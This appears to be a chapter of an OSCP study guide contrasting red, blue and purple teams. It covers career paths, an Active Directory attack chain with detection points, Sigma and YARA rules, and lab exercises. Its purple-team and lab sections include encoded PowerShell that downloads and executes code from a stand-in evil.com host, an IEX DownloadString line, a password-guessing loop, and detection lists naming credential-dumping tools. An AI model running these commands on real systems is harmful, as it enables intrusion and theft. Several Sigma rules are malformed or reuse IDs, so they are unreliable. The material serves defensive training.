Noise Reduction Techniques
# Noisy: Full port scan
nmap -sS -p- 10.10.10.1
# Quieter: Targeted port scan
nmap -sS -p 22,80,443,3389,8080,8443 10.10.10.1
# Quieter: Single port check
nc -zv 10.10.10.1 80
# Noisy: Aggressive service detection
nmap -sV -sC -A -p- 10.10.10.1
# Quieter: Minimal service detection
nmap -sV --version-light -p 80,443 10.10.10.1
Career Paths
Red Team Career Progression
Entry Level (0-2 years)
βββ Roles: Junior Penetration Tester, Security Analyst
βββ Certifications: eJPT, Security+, CEH
βββ Skills: Basic exploitation, scripting, networking
βββ Salary Range: $60,000 - $90,000
Mid Level (2-5 years)
βββ Roles: Penetration Tester, Red Team Operator
βββ Certifications: OSCP, OSWE, CRTP
βββ Skills: Advanced exploitation, AD attacks, custom tooling
βββ Salary Range: $90,000 - $130,000
Senior Level (5-10 years)
βββ Roles: Senior Red Team Operator, Red Team Lead
βββ Certifications: OSEP, OSMP, CRTO
βββ Skills: Full kill chain operations, OPSEC, mentoring
βββ Salary Range: $130,000 - $180,000
Expert Level (10+ years)
βββ Roles: Red Team Manager, Principal Consultant
βββ Certifications: OSCE3, custom engagements
βββ Skills: Strategy, program development, thought leadership
βββ Salary Range: $180,000 - $250,000+
Blue Team Career Progression
Entry Level (0-2 years)
βββ Roles: SOC Analyst Tier 1, Security Operations Analyst
βββ Certifications: Security+, CySA+, GSEC
βββ Skills: SIEM basics, log analysis, ticketing
βββ Salary Range: $55,000 - $85,000
Mid Level (2-5 years)
βββ Roles: SOC Analyst Tier 2, Incident Responder
βββ Certifications: GCIH, GCFA, GIAC
βββ Skills: Advanced log analysis, malware analysis, IR
βββ Salary Range: $85,000 - $120,000
Senior Level (5-10 years)
βββ Roles: Threat Hunter, Detection Engineer, IR Lead
βββ Certifications: GCIA, GCFR, GNFA
βββ Skills: Threat hunting, detection engineering, leadership
βββ Salary Range: $120,000 - $160,000
Expert Level (10+ years)
βββ Roles: SOC Manager, CISO, Security Architect
βββ Certifications: CISM, CISSP, custom programs
βββ Skills: Strategy, architecture, executive communication
βββ Salary Range: $160,000 - $250,000+
How OSCP Fits Into Each Path
For Red Team Careers
| Career Stage | OSCP Value |
|---|---|
| Entry Level | OSCP is often a minimum requirement for pentest roles |
| Mid Level | OSCP validates practical skills beyond theory |
| Senior Level | OSCP is a foundation; pursue OSEP, OSMP for advancement |
| Expert Level | OSCP is table stakes; focus on specialized certifications |
For Blue Team Careers
| Career Stage | OSCP Value |
|---|---|
| Entry Level | OSCP provides deep understanding of attack techniques |
| Mid Level | OSCP helps in detection engineering and threat hunting |
| Senior Level | OSCP enables better threat modeling and detection design |
| Expert Level | OSCP knowledge informs security architecture decisions |
Key Insight: OSCP is valuable for both Red and Blue Team careers. Understanding how attacks work makes you a better defender. Many Blue Team professionals hold OSCP certification.
When to Pursue Purple Team Skills
Consider developing purple team skills when:
| Situation | Recommendation |
|---|---|
| You have 2+ years Red Team experience | Add Blue Team detection skills |
| You have 2+ years Blue Team experience | Add Red Team attack skills |
| You want to move into leadership | Purple team skills bridge both worlds |
| You work in a small security team | Purple team skills maximize your value |
| You want to improve detection coverage | Purple team exercises validate detections |
Practical Examples
Red Team Attack Scenario with Blue Team Detection
Scenario: Active Directory Compromise
Attack Chain:
1. Initial Access: Phishing email with malicious attachment
β
βΌ
2. Execution: Victim opens attachment, PowerShell executes
β
βΌ
3. Persistence: Scheduled task created for callback
β
βΌ
4. Privilege Escalation: Local admin via misconfigured service
β
βΌ
5. Discovery: BloodHound data collection via SharpHound
β
βΌ
6. Lateral Movement: Pass-the-Hash to domain controller
β
βΌ
7. Credential Access: DCSync attack to extract domain admin hash
β
βΌ
8. Objective Achieved: Domain admin access obtained
Blue Team Detection Points:
| Attack Step | Detection Method | Detection Rule Example |
|---|---|---|
| Phishing email | Email gateway, sandbox | Attachment contains executable, sender reputation |
| PowerShell execution | EDR, Windows logs | -enc or -encodedcommand in PowerShell |
| Scheduled task | Windows Event Log 4697 | New scheduled task created by non-admin |
| Service misconfig | Vulnerability scanner, EDR | Service with writable binary path |
| SharpHound execution | EDR, process monitoring | SharpHound.exe or BloodHound in process name |
| Pass-the-Hash | Windows Event Log 4624 LogonType 3 | Multiple failed logins followed by success |
| DCSync | Windows Event Log 4662, 5136 | Replication-Get Changes request |
| Domain admin access | Windows Event Log 4769 | Kerberos TGS request for high-privilege account |
Purple Team Exercise:
Exercise: AD Compromise Detection Validation
Phase 1: Red executes phishing simulation
- Blue detects: Email gateway blocks attachment
- Gap: No detection for legitimate-looking attachments
Phase 2: Red executes PowerShell on compromised host
- Blue detects: EDR alerts on encoded PowerShell
- Gap: No detection for legitimate PowerShell scripts
Phase 3: Red creates scheduled task
- Blue detects: SIEM alert on Event ID 4697
- Gap: Alert not correlated with other indicators
Phase 4: Red escalates to local admin
- Blue detects: No detection (vulnerability not patched)
- Gap: No vulnerability monitoring for this misconfiguration
Phase 5: Red runs SharpHound
- Blue detects: EDR alerts on SharpHound execution
- Gap: Alert treated as low priority
Phase 6: Red performs Pass-the-Hash
- Blue detects: SIEM alert on unusual LogonType 3
- Gap: Alert not investigated promptly
Phase 7: Red performs DCSync
- Blue detects: SIEM alert on replication requests
- Gap: Alert generated but not acted upon
Phase 8: Red achieves domain admin
- Blue detects: SIEM alert on high-privilege Kerberos ticket
- Gap: Too late β objective already achieved
Purple Team Recommendations:
1. Improve email gateway rules for attachment analysis
2. Create correlation rule for PowerShell + scheduled task
3. Add vulnerability monitoring for service misconfigurations
4. Increase priority for SharpHound detection alerts
5. Create automated response for DCSync detection
6. Implement privileged access monitoring
Purple Team Exercise Walkthrough
Exercise: PowerShell Detection Improvement
Objective: Improve detection of malicious PowerShell activity
Step 1: Baseline Current Detection
Current State:
- SIEM has rule for PowerShell with -enc flag
- MTTD: 15 minutes
- False positive rate: 25%
- Missed detections: Legitimate admin scripts using -enc
Step 2: Red Team Executes Test
# Test 1: Obvious malicious PowerShell
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKCAnAGgAdAB0AHAAOAAvAC8AZQB2AGkAbAAuAGMAbwBtAC8AcABhAHkAbABvAGEAZAAnACkA
# Test 2: Legitimate-looking PowerShell
powershell -file C:\Scripts\UpdateSoftware.ps1
# Test 3: PowerShell with DownloadString
powershell -command "IEX (New-Object Net.WebClient).DownloadString('http://internal-server/Update.ps1')"
Step 3: Blue Team Analyzes Results
Results:
- Test 1: Detected in 2 minutes (existing rule)
- Test 2: Not detected (no -enc flag)
- Test 3: Not detected (no -enc flag)
Gaps Identified:
- Detection only covers -enc flag
- No detection for DownloadString
- No detection for IEX (Invoke-Expression)
Step 4: Blue Team Creates Improved Detection
# Improved Sigma Rule
title: Malicious PowerShell Activity
id: b2c3d4e5-f6a7-8901-bcde-f23456789012
status: experimental
description: Detects malicious PowerShell activity including encoded commands and web requests
logsource:
category: process_creation
product: windows
detection:
selection_process:
Image|endswith: '\powershell.exe'
Image|endswith: '\pwsh.exe'
selection_encoded:
CommandLine|contains:
- '-enc'
- '-encodedcommand'
selection_web:
CommandLine|contains:
- 'DownloadString'
- 'DownloadFile'
- 'IEX'
- 'Invoke-Expression'
selection_suspicious:
CommandLine|contains:
- 'Bypass'
- 'AllSigned'
- 'RemoteSigned'
condition: selection_process and 1 of selection_encoded, selection_web, selection_suspicious
falsepositives:
- Legitimate admin scripts
- Software installation scripts
level: medium
Step 5: Red Team Validates New Detection
Validation Results:
- Test 1: Detected β (2 minutes)
- Test 2: Not detected β (expected β legitimate script)
- Test 3: Detected β (3 minutes)
New Metrics:
- MTTD: 3 minutes (improved from 15 minutes for non-encoded)
- False positive rate: 15% (improved from 25%)
- Detection coverage: 3 techniques (improved from 1)
Detection Rule Examples
Sigma Rules for Common OSCP Techniques
# Rule 1: Detect Nmap Execution
title: Nmap Network Scanner Execution
id: c3d4e5f6-a7b8-9012-cdef-345678901234
status: experimental
description: Detects execution of Nmap network scanner
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\nmap.exe'
- '\nmap-cli.exe'
condition: selection
falsepositives:
- Authorized security testing
level: medium
tags:
- attack.discovery
- attack.t1046
---
# Rule 2: Detect Metasploit Payload
title: Metasploit Meterpreter Reverse Shell
id: d4e5f6a7-b8c9-0123-defa-456789012345
status: experimental
description: Detects Metasploit meterpreter reverse shell activity
logsource:
category: process_creation
product: windows
detection:
selection_parent:
ParentImage|endswith:
- '\cmd.exe'
- '\powershell.exe'
selection_child:
Image|endswith:
- '\svchost.exe'
- '\rundll32.exe'
- '\mshta.exe'
selection_command:
CommandLine|contains|all:
- '10.'
- '4444'
condition: selection_parent and selection_child and selection_command
falsepositives:
- Legitimate administrative tasks
level: high
tags:
- attack.execution
- attack.t1059
---
# Rule 3: Detect Linpeas Execution
title: Linux Privilege Escalation Script Execution
id: e5f6a7b8-c9d0-1234-efab-567890123456
status: experimental
description: Detects execution of common Linux privilege escalation scripts
logsource:
category: process_creation
product: linux
detection:
selection:
CommandLine|contains:
- 'linpeas'
- 'linenum'
- 'linux-smart-enumeration'
- 'unix-privesc-check'
condition: selection
falsepositives:
- Authorized security testing
level: medium
tags:
- attack.privilege_escalation
- attack.t1068
YARA Rules for Common Tools
rule nmap_executable : nmap scanner
{
meta:
description = "Detects Nmap executable"
author = "Security Team"
date = "2026-01-15"
strings:
$mz = { 4D 5A }
$nmap1 = "nmap" ascii wide
$nmap2 = "Nmap Scan Report" ascii wide
$nmap3 = "scanme.nmap.org" ascii wide
condition:
$mz at 0 and
2 of ($nmap1, $nmap2, $nmap3)
}
rule metasploit_payload : metasploit
{
meta:
description = "Detects Metasploit meterpreter payload"
author = "Security Team"
date = "2026-01-15"
strings:
$mz = { 4D 5A }
$meterpreter = "meterpreter" ascii wide
$msf1 = "meterpreter" ascii wide
$msf2 = "LHOST" ascii wide
$msf3 = "LPORT" ascii wide
$msf4 = "SESSION" ascii wide
condition:
$mz at 0 and
2 of ($meterpreter, $msf1, $msf2, $msf3, $msf4)
}
Lab Exercises
Exercise 1: Set Up a Simple SIEM and Detect Your Own Attacks
Objective
Set up a basic SIEM environment and detect your own penetration testing activities.
Prerequisites
- VirtualBox or VMware
- At least 16GB RAM
- 50GB free disk space
Step 1: Deploy Elastic Stack (ELK)
# Option 1: Using Docker Compose
docker-compose up -d elasticsearch kibana logstash
# Option 2: Using Detection Lab (Vagrant)
git clone https://github.com/clong/DetectionLab.git
cd DetectionLab
vagrant up
Step 2: Deploy Windows Target
# Install Winlogbeat on Windows target
.\install-service-winlogbeat.ps1
# Configure Winlogbeat to send to Elastic
# Edit winlogbeat.yml:
# output.elasticsearch:
# hosts: ["<elastic-ip>:9200"]
# Start Winlogbeat
Start-Service winlogbeat
Step 3: Perform Attacks and Observe Detection
# Attack 1: Failed login attempts
for i in {1..10}; do
sshpass -p 'wrongpassword' ssh user@10.10.10.1
done
# Check Kibana for:
# - Windows Event ID 4625 (Failed logon)
# - Multiple failed attempts from same source
# Attack 2: PowerShell execution
powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcA
# Check Kibana for:
# - Windows Event ID 4688 (Process creation)
# - PowerShell with -enc flag
# Attack 3: Nmap scan
nmap -sS -p 22,80,443 10.10.10.1
# Check Kibana for:
# - Process creation event for nmap.exe
# - Network connection logs
Step 4: Create Detection Rules
# Create a Sigma rule for failed logins
title: Multiple Failed Logins
id: f6a7b8c9-d0e1-2345-fabc-678901234567
status: experimental
description: Detects multiple failed login attempts from the same source
logsource:
category: process_creation
product: windows
detection:
selection:
EventID: 4625
condition: selection
filter:
EventID:
- 4625
group_by:
- TargetUserName
- SourceIpAddress
condition: count(EventID=4625) > 5 by TargetUserName, SourceIpAddress over 5m
falsepositives:
- Legitimate users entering wrong passwords
level: medium
Exercise 2: Write Detection Rules for Common OSCP Techniques
Objective
Create detection rules for techniques commonly used in OSCP labs.
Technique 1: Linpeas Execution
# Sigma Rule
title: Linux Privilege Escalation Script Execution
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects execution of common Linux privilege escalation scripts
logsource:
category: process_creation
product: linux
detection:
selection:
CommandLine|contains:
- 'linpeas'
- 'linenum'
- 'linux-smart-enumeration'
condition: selection
falsepositives:
- Authorized security testing
level: medium
Technique 2: Metasploit Payload Execution
# Sigma Rule
title: Metasploit Meterpreter Reverse Shell
id: b2c3d4e5-f6a7-8901-bcde-f23456789012
status: experimental
description: Detects Metasploit meterpreter reverse shell activity
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\svchost.exe'
- '\rundll32.exe'
CommandLine|contains:
- '10.'
- '4444'
condition: selection
falsepositives:
- Legitimate administrative tasks
level: high
Technique 3: Credential Dumping
# Sigma Rule
title: Credential Dumping Tool Execution
id: c3d4e5f6-a7b8-9012-cdef-345678901234
status: experimental
description: Detects execution of credential dumping tools
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\mimikatz.exe'
- '\procdump.exe'
- '\sekurlsa.txt'
CommandLine|contains:
- 'sekurlsa'
- 'kerberos::'
- 'lsass'
condition: selection
falsepositives:
- Authorized security testing
- Legitimate use of procdump for debugging
level: high
Key Tools Comparison
Comprehensive Tool Comparison Table
| Category | Red Team Tools | Blue Team Tools | Purple Team Tools |
|---|---|---|---|
| C2 Framework | Cobalt Strike, Sliver, Mythic, Havoc | β | Caldera |
| Exploitation | Metasploit, Custom Exploits | β | Atomic Red Team |
| Reconnaissance | Nmap, BloodHound, CrackMapExec | Wireshark, Zeek, Suricata | MITRE ATT&CK Navigator |
| Credential Attacks | Mimikatz, Rubeus, Hashcat | β | Atomic Red Team |
| SIEM | β | Splunk, Elastic, Sentinel, QRadar | Elastic, Wazuh |
| EDR | β | CrowdStrike, SentinelOne, Defender | Wazuh |
| IDS/IPS | β | Suricata, Snort, Zeek | Suricata |
| Detection Rules | β | Sigma, YARA, custom rules | Sigma, YARA |
| Threat Intel | β | MISP, OpenCTI, AlienVault | MISP, ATT&CK |
| SOAR | β | Splunk SOAR, TheHive, Shuffle | β |
| Vulnerability Scanning | Nessus, OpenVAS, Nuclei | Nessus, Qualys, OpenVAS | β |
| Malware Analysis | β | Cuckoo Sandbox, ANY.RUN, Joe Sandbox | Cuckoo Sandbox |
| Forensics | β | Autopsy, FTK, EnCase, Volatility | β |
| Scripting | PowerShell, Python, Bash | PowerShell, Python, Bash | PowerShell, Python, Bash |
Tool Selection Guide
| Scenario | Recommended Tools |
|---|---|
| OSCP Lab Practice | Nmap, Metasploit, Burp Suite, John the Ripper, Linpeas |
| Red Team Engagement | Cobalt Strike, BloodHound, Mimikatz, Custom C2 |
| Blue Team SOC | Splunk/Elastic, CrowdStrike/SentinelOne, Suricata |
| Purple Team Exercise | Atomic Red Team, Sigma, Caldera, MITRE ATT&CK Navigator |
| Home Lab | Elastic Stack, Wazuh, Suricata, Atomic Red Team |
Exam Tips
Operating Stealthily During the OSCP Exam
Important: The OSCP exam does not have an active Blue Team monitoring you. However, operating efficiently and methodically is still important for success.
Key Exam Strategies
| Strategy | Description | Benefit |
|---|---|---|
| Methodical Approach | Follow a structured methodology | Ensures you donβt miss opportunities |
| Efficient Scanning | Use targeted scans instead of full scans | Saves time and reduces noise |
| Note Taking | Document everything as you go | Makes reporting easier and faster |
| Time Management | Allocate time per machine | Prevents getting stuck on one target |
| Privilege Escalation First | Check for privesc before lateral movement | Maximizes points per machine |
Efficient Scanning Techniques
# Quick initial scan
nmap -sS -p 22,80,443,3389,8080,8443,53,21,25,110,143,993,995,1433,3306,5432,6379,27017,9200,5900,5985,5986,135,139,445,137,138,389,636,88,464,3268,3269,5357,47001,49152-49200 -T4 --min-rate 1000 -oN initial_scan.txt <target>
# If web service found, detailed web scan
nmap -sV -sC -p 80,443,8080,8443 -T4 --min-rate 1000 -oN web_scan.txt <target>
# If SMB found, SMB enumeration
nmap -sV -p 445 --script smb-enum-shares,smb-enum-users,smb-enum-sessions -oN smb_scan.txt <target>
Time Management Framework
24-Hour Exam Time Allocation:
Hour 0-2: Initial Reconnaissance
ββ Network discovery
ββ Service enumeration
ββ Vulnerability identification
Hour 2-8: Exploitation Phase 1
ββ Exploit easiest targets first
ββ Document findings
ββ Escalate privileges
Hour 8-10: Break and Review
ββ Take a break
ββ Review notes
ββ Plan next steps
Hour 10-18: Exploitation Phase 2
ββ Tackle harder targets
ββ Lateral movement
ββ Domain compromise
Hour 18-22: Final Exploitation
ββ Remaining targets
ββ Root/admin access
ββ Flag collection
Hour 22-24: Report Writing
ββ Compile findings
ββ Write executive summary
ββ Submit report
What NOT to Do in the OSCP Exam
| Action | Reason |
|---|---|
| Clear logs | Not required, wastes time, may be flagged |
| Modify system configs | Not required, may break things |
| Use anti-forensics | Not required, wastes time |
| Brute force without reason | Wastes time, may lock accounts |
| Skip documentation | Report is 25% of your grade |
| Ignore easier targets | Points are points β take them |
Cross-References
Related Topics
| Topic | Reference | Relationship |
|---|---|---|
| SOC Operations | SOC fundamentals, alert triage, incident response | Blue Team core operations |
| Attack Lifecycle | Kill chain, cyber kill chain, MITRE ATT&CK | Framework for both Red and Blue |
| AV Evasion | Antivirus evasion techniques, AMSI bypass | Red Team OPSEC techniques |
| Reporting | Penetration test reporting, executive summaries | Critical for OSCP exam success |
| Active Directory Attacks | Kerberoasting, DCSync, Pass-the-Hash | Common Red Team techniques |
| Privilege Escalation | Linux and Windows privesc techniques | Core OSCP skill |
| Web Application Testing | OWASP Top 10, Burp Suite usage | Common OSCP target type |
| Threat Intelligence | IOC, TTP, threat feeds | Blue Team detection foundation |
| Digital Forensics | Memory forensics, disk forensics | Blue Team investigation skills |
| Security Architecture | Defense in depth, zero trust | Blue Team design principles |
MITRE ATT&CK Mapping
| Team | ATT&CK Role | Key Tactics |
|---|---|---|
| Red Team | Technique execution | Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Exfiltration, Command and Control |
| Blue Team | Detection and response | All tactics β focus on detection coverage and response playbooks |
| Purple Team | Validation and improvement | All tactics β focus on gap identification and detection improvement |
Summary
Key Takeaways
- Red Team simulates adversaries to find weaknesses and validate defenses
- Blue Team defends systems, detects intrusions, and responds to incidents
- Purple Team bridges Red and Blue for continuous improvement
- OSCP is a penetration test β understanding all perspectives makes you better
- Detection knowledge helps you operate more efficiently
- Purple team mindset improves both offensive and defensive skills
- Career paths exist for all three team types β OSCP is valuable for all
Final Thoughts
The most effective security professionals understand both offensive and defensive perspectives. While OSCP focuses on red team skills, understanding blue team detection capabilities and purple team collaboration methods will make you a more well-rounded security professional.
βThe best way to learn to defend is to learn to attack. The best way to learn to attack is to learn how you get detected.β β Unknown Security Professional
Recommended Next Steps
- Practice: Set up a home lab with Elastic Stack and detect your own attacks
- Learn: Study MITRE ATT&CK framework from both Red and Blue perspectives
- Certify: Consider blue team certifications (GCIH, GCFA) alongside OSCP
- Collaborate: Participate in purple team exercises if available
- Document: Practice writing professional reports for both Red and Blue findings
Last Updated: 2026-09-01 Chapter: 01 - Introduction to CyberSecurity Topic: 13 - Red Team vs Blue Team vs Purple Team